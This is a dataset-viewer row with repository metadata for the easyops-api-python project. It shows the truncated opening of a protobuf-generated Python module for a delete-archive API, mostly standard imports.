] | permissive | easyopsapis/easyops-api-python | 23204f8846a332c30f5f3ff627bf220940137b6b | adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0 | refs/heads/master | 2020-06-26T23:38:27.308803 | 2020-06-16T07:25:41 | 2020-06-16T07:25:41 | 199,773,131 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | true | 8,785 | py | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: delete_archive_v2.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.pr... | [
"service@easyops.cn"
] | service@easyops.cn |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.